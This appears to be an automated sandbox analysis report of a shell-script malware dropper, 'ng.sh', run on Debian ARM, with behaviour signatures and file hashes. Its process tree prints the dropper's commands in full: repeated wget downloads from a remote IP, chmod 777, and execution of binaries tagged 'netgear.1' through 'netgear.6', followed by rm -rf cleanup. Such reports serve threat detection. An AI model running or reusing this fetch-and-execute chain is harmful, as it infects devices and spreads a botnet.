Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/01/2025, 16:10

General

  • Target
    ng.sh
  • Size 558B
  • Sample250108-tmceysvpet
  • SHA256 97ad97cf7e32f4f744878694c69bebee659c9b30b49f4fdd6bf0abcc4fea1b09
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Contacts a large (36601) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ng.sh
    /tmp/ng.sh
    1⤵
    • Writes file to tmp directory
    PID:649
    • /bin/rm
      rm -rf 12
      2⤵
        PID:650
      • /usr/bin/wget
        wget http://103.136.41.100/12
        2⤵
        • Writes file to tmp directory
        PID:652
      • /bin/chmod
        chmod 777 12
        2⤵
        • File and Directory Permissions Modification
        PID:665
      • /tmp/12
        ./12 netgear.1
        2⤵
        • Executes dropped EXE
        PID:668
      • /bin/rm
        rm -rf 1
        2⤵
          PID:671
        • /bin/rm
          rm -rf 2
          2⤵
            PID:673
          • /usr/bin/wget
            wget http://103.136.41.100/2
            2⤵
            • Writes file to tmp directory
            PID:675
          • /bin/chmod
            chmod 777 2
            2⤵
            • File and Directory Permissions Modification
            PID:682
          • /tmp/2
            ./2 netgear.2
            2⤵
            • Executes dropped EXE
            PID:683
          • /bin/rm
            rm -rf 2
            2⤵
              PID:685
            • /bin/rm
              rm -rf 3
              2⤵
                PID:687
              • /usr/bin/wget
                wget http://103.136.41.100/3
                2⤵
                • Writes file to tmp directory
                PID:688
              • /bin/chmod
                chmod 777 3
                2⤵
                • File and Directory Permissions Modification
                PID:691
              • /tmp/3
                ./3 netgear.3
                2⤵
                • Executes dropped EXE
                • Changes its process name
                • Reads runtime system information
                PID:692
              • /bin/rm
                rm -rf 3
                2⤵
                  PID:695
                • /bin/rm
                  rm -rf 4
                  2⤵
                    PID:700
                  • /usr/bin/wget
                    wget http://103.136.41.100/4
                    2⤵
                      PID:701
                    • /bin/chmod
                      chmod 777 4
                      2⤵
                      • File and Directory Permissions Modification
                      PID:702
                    • /tmp/4
                      ./4 netgear.4 rm -rf 4
                      2⤵
                        PID:703
                      • /bin/rm
                        rm -rf 5
                        2⤵
                          PID:704
                        • /usr/bin/wget
                          wget http://103.136.41.100/5
                          2⤵
                          • Writes file to tmp directory
                          PID:705
                        • /bin/chmod
                          chmod 777 5
                          2⤵
                          • File and Directory Permissions Modification
                          PID:706
                        • /tmp/5
                          ./5 netgear.5
                          2⤵
                          • Executes dropped EXE
                          • Changes its process name
                          • Reads runtime system information
                          PID:707
                        • /bin/rm
                          rm -rf 5
                          2⤵
                            PID:710
                          • /bin/rm
                            rm -rf 6
                            2⤵
                              PID:716
                            • /usr/bin/wget
                              wget http://103.136.41.100/6
                              2⤵
                                PID:717
                              • /bin/chmod
                                chmod 777 6
                                2⤵
                                • File and Directory Permissions Modification
                                PID:719
                              • /tmp/6
                                ./6 netgear.6
                                2⤵
                                  PID:721
                                • /bin/rm
                                  rm -rf 6
                                  2⤵
                                    PID:722
                                  • /bin/rm
                                    rm -rf ng
                                    2⤵
                                      PID:723

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        12

                                        • Path /tmp/12
                                        • Size 100KB
                                        • SHA256 0f5a3371630dc04e62f5f29894c9132acfad6181bdae8baa09e7529b58c658b0
                                        • MD5 SHA1 SHA512 SSDEEP

                                        2

                                        • Path /tmp/2
                                        • Size 101KB
                                        • SHA256 cf15b2fe6dabe8fee0e9bd37b9005a754892968f5cdba5fd429665c648fb44aa
                                        • MD5 SHA1 SHA512 SSDEEP

                                        3

                                        • Path /tmp/3
                                        • Size 77KB
                                        • SHA256 4c638becff4b023e7bba627b057d5a94f12b3d21b47685f7e6e7d2279248fbc9
                                        • MD5 SHA1 SHA512 SSDEEP

                                        5

                                        • Path /tmp/5
                                        • Size 74KB
                                        • SHA256 e60a25599c7aec9c84793549b4d4047a17712f675759458fd415f402fa4eb502
                                        • MD5 SHA1 SHA512 SSDEEP

                                        ng

                                        • Path /tmp/ng
                                        • Size 1B
                                        • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                        • MD5 SHA1 SHA512